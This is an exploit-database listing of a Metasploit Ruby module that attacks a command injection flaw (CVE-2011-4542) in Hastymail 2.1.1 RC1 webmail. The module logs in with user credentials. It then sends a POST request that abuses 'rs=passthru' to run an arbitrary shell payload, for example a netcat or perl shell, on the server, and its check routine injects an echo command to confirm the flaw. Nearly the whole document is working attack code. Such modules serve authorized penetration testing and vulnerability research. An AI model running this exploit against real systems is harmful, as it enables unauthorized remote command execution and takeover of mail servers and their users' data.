Hastymail 2.1.1 RC1 Command Injection



EKU-ID: 2448 CVE: 2011-4542 OSVDB-ID: 77331
Author: juan vazquez Published: 2012-07-13 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'           => "Hastymail 2.1.1 RC1 Command Injection",
            'Description'    => %q{
                    This module exploits a command injection vulnerability found in Hastymail
                2.1.1 RC1 due to the insecure usage of the call_user_func_array() function on
                the "lib/ajax_functions.php" script. Authentication is required on Hastymail
                in order to exploit the vulnerability. The module has been successfully tested
                on Hastymail 2.1.1 RC1 over Ubuntu 10.04.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Bruno Teixeira', # Vulnerability Discovery
                    'juan vazquez' # Metasploit module
                ],
            'References'     =>
                [
                    [ 'CVE', '2011-4542' ],
                    [ 'BID', '50791' ],
                    [ 'OSVDB', '77331' ],
                    [ 'URL', 'https://www.dognaedis.com/vulns/DGS-SEC-3.html' ]
                ],
            'Payload'        =>
                {
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl ruby netcat-e',
                        }
                },
            'Platform'       => ['unix'],
            'Arch'           => ARCH_CMD,
            'Targets'        =>
                [
                    ['Hastymail 2.1.1 RC1', {}]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Nov 22 2011",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('TARGETURI', [true, "The base path to Hastymail", "/hastymail2/"]),
                OptString.new('USER', [true, "The username to authenticate with", ""]),
                OptString.new('PASS', [true, "The password to authenticate with", ""])
            ], self.class)
    end


    def check
        @uri = target_uri.path
        @uri << '/' if @uri[-1,1] != '/'
        @session_id = ""
        @peer = "#{rhost}:#{rport}"

        login

        if not @session_id or @session_id.empty?
            print_error "#{@peer} - Authentication failed"
            return Exploit::CheckCode::Unknown
        end

        test = rand_text_alpha(rand(4) + 4)
        data = "rs=passthru&"
        data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
        data << "rsargs[]=echo #{test}"
        res = send_request_cgi({
            'method' => 'POST',
            'uri' => "#{@uri}",
            'Cookie' => @session_id,
            'data' => data
        })

        if res and res.code == 200 and res.body =~ /#{test}/
            return Exploit::CheckCode::Vulnerable
        else
            return Exploit::CheckCode::Safe
        end
    end

    def login
        res = send_request_cgi({
            'method' => 'POST',
            'uri'    => "#{@uri}?page=login",
            'vars_post' =>
            {
                'user' => datastore['USER'],
                'pass' => datastore['PASS'],
                'login' => 'Login'
            }
        })

        if res and res.code == 303
            @session_id = res["Set-Cookie"]
            print_good "#{@peer} - Authentication successfully"
        end
    end

    def exploit
        @uri = target_uri.path
        @uri << '/' if @uri[-1,1] != '/'
        @session_id = ""
        @peer = "#{rhost}:#{rport}"

        print_status "#{@peer} - Trying login"
        login

        if not @session_id or @session_id.empty?
            print_error "#{@peer} - Authentication failed"
            return
        end

        print_status "#{@peer} - Authentication successfully, trying to exploit"

        data = "rs=passthru&"
        data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
        data << "rsargs[]=#{payload.encoded}"

        res = send_request_cgi({
            'method' => 'POST',
            'uri' => "#{@uri}",
            'Cookie' => @session_id,
            'headers' => {
                'Cmd' => Rex::Text.encode_base64(payload.encoded)
            },
            'data' => data
        })

        if not res or res.code != 200 or not res.body =~ /\+/
            print_error "#{@peer} - Exploitation failed"
            return
        end

    end


end